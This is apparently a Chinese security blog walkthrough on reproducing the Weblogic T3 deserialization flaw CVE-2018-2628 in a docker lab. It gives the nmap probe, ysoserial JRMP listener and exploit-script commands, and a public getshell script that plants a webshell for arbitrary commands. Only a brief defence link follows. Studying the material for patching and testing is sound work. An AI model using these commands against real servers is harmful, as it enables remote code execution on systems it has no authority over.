专栏首页小白帽学习之路Weblogic漏洞复现攻与防系列三:Java反序列化漏洞操作(CVE-2018-2628)

Weblogic漏洞复现攻与防系列三:Java反序列化漏洞操作(CVE-2018-2628)

注意:

本系列分享,意在大家了解漏洞,防御漏洞,在做完一个漏洞复现完成后,
请及时使用最后防御手法进行防御,或特定情况根据特定手法防御。
记住,切勿用于违法行为。

进入正题

Java反序列化漏洞操作

CVE-2018-2628

1、Java序列化与Java反序列化:

Java序列化:即把Java对象转换为字节序列的过程

Java反序列化:是指把字节序列恢复为Java对象的过程

目的:

序列化与反序列化目的是为了让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信,对象持久化存储。

2、Java反序列化漏洞成因:

在上述情况中所说的转换过程中,出现了漏洞,加之暴露或间接暴露出可反序列化的API,导致用户可以操作,并传入数据,或精心构造恶意代码。

3、相关历史漏洞简介:

#CVE-2015-4852

Weblogic直接反序列化

是基于Weblogic t3协议引起远程代码执行的反序列化漏洞

#CVE-2016-0638

Weblogic直接反序列化

基于Weblogic t3协议引起远程代码执行的反序列化漏洞 漏洞实为CVE-2015-4852绕过拜Oracle一直以来的黑名单修复方式所赐

#CVE-2016-3510

基于Weblogic t3协议引起远程代码执行的反序列化漏洞

#CVE-2017-3248

基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于Weblogic JRMP反序列化

#CVE-2018-2628

基于Weblogic t3协议引起远程代码执行的反序列化漏洞 属于 WeblogicJRMP反序列化

#CVE-2018-2893

基于Weblogic t3协议引起远程代码执行的反序列化漏洞 实为CVE-2018-2628绕过同样拜Oracle一直以来的黑名单修复方式所赐 属于WeblogicJRMP反序列化

4、该漏洞涉及版本:

10.3.6.0,12.1.3.0,12.2.1.2,12.2.1.3,...

5、漏洞复现流程:

方法一:

1、首先,使用Nmap下的weblogic-t3-info脚本来探测一下目标信息,是否正在使用T3协议,

具体命令:

nmap -n -v -p 7001 目标地址 --script=weblogic-t3-info

返回信息如下,代表目标正在使用T3协议:

2、使用Python脚本针对目标进行探测,是否存在漏洞Java反序列化漏洞,脚本地址:看文末获取方式

3、根据前面探测的信息,我们发现目标存在Java反序列化漏洞,来让我们进一步攻击它吧。此时我们需要使用到“ysoserial”这个工具。

ysoserial工具地址:看文末获取方式

4、首先使用ysoserial在攻击机上启动一个 JRMP server,输入以下命令:

java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener[listen port] CommonsCollections1 [command]

[listenport]:攻击机要监听的端口
[command]:想要执行的命令

5、使用44553.py脚本来向目标发送数据包(基于python2.x),该脚本会让靶机调用相关服务来访问我们启动的JRMP server,执行我们想要执行的命令。

python 44553.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip][JRMPListener port] [JRMPClient]
[victimip]:目标weblogic的IP
[victimport]:目标weblogic的端口
[pathto ysoserial] :ysoserial的路径
[JRMPListenerip] :第一步中启动JRMP Server的IP地址
[JRMPListener port] :第一步中启动JRMP Server的I端口地址
[JRMPClient]:执行JRMPClient的类,可选的值是JRMPClient或JRMPClient2

6、等待一小会时间,双方会进行握手,进行数据交互,然后成功执行命令。

上图该实例仅是执行过程中的一部分,具体请实践观察。

1、现在我们进入虚拟中,来查看我们的文件是否执行成功,首先进入虚拟机命令:

docker ps -a  来查看想要进入容器的id
docker exec -ti 容器id或者容器名称 /bin/bash

9、通过上图发现成功的执行了创建文件命令。

方法二:

该方法,来自github上的一个python脚本,可以使用该方法执行一些命令。

地址:

https://github.com/jas502n/CVE-2018-2628

1、 该文件我同样下载下来了,在下面打包连接中,我们使用的脚本地址在:

看文末获取

我们首先使用的是CVE-2018-2628-Getshell.py这个脚本,该脚本基于python2.x

执行命令:

pythonCVE-2018-2628-Getshell.py 目标地址 目标端口 test11.js

(注意: 上面test11.jsp为你起的文件名,改名字需要长度等于10)

2、现在我们已经获取了一个地址,打开浏览器访问它:

3、我们执行了whoami的命令。上面 tom后面的变量即为 whomai的base64编码,我们可以使用kali 来生成任意base64编码,来替换该变量,以达到执行任意命令:

4、不难发现,上面我的test11变为了test12,是因为我在进行多次测试的时候发现,生成完一次脚本的连接仅能访问一次,第二次访问会返回404,但这个脚本确实有很多学习的地方。大家可以学学作者思路,进行自己的改造。

重要

防御:

推荐使用该文章方法修复漏洞:
http://www.talkwithtrend.com/Article/178555

---关于工具后台发送---

CVE20182628

请勿使用该工具进行违法行为

仅可以用于自己网站检测

除了上述两种方法

还有其他两个自测工具

本文分享自微信公众号 - 小白帽学习之路(bat7089)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-02-02

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 360仿真靶场通关记录及题型分析

    打开是一个很酷炫的界面,发现有源码下载的位置。然后就是AWD的基本操作,获取源码之后,先放到D盾里面过一下。这里的源码量也很小,一个一个过也没问题。

    7089bAt@PowerLi
  • 思路分享 | 从零模拟一次实战记录并成功提权

    前天下午,风和日丽,我呆呆的坐在电脑前,思考着我存在的意义。这时,大佬突然走进机房,扔给我了一个靶机,让我搞定它。瑟瑟发抖的我,也不敢问什么,扛着靶机来到了一个...

    7089bAt@PowerLi
  • CVE-2019-13272:Linux本地内核提权漏洞复现

    2019年07月20日,Linux正式修复了一个本地内核提权漏洞。通过此漏洞,攻击者可将普通权限用户提升为Root权限。

    7089bAt@PowerLi
  • Weblogic反序列化历史漏洞全汇总

    序列化是让Java对象脱离Java运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。

    Jayway
  • Java IO详解(六)------序列化与反序列化(对象流)

     File 类的介绍:https://cloud.tencent.com/developer/article/1012532 Java IO 流的分类介绍:ht...

    IT可乐
  • Java反序列化危机已过,这次来的是.Net反序列化漏洞

    2016 年 Java 应用程序及开发者受到反序列化漏洞的破坏性影响,而如今 .NET 生态系统也正在遭受同样的危机。新的问题存在于 .NET 代码库中处理反序...

    FB客服
  • java 中的序列化是什么意思?有什么好处?

    简单说就是为了保存在内存中的各种对象的状态,并且可以把保存的对象状态再读出来。虽然你可以用你自己的各种各样的方法来保存Object States,但是Java给...

    lyb-geek
  • modal类(JavaBean)什么时候用到序列化(Serializable)

    版权声明:本文为博主原创文章,未经博主允许不得转载。

    DencyCheng
  • 单例与序列化的那些事儿

    本文将通过实例+阅读Java源码的方式介绍序列化是如何破坏单例模式的,以及如何避免序列化对单例的破坏。

    哲洛不闹
  • 原 荐 Java9 Module解惑

    石奈子

扫码关注云+社区

领取腾讯云代金券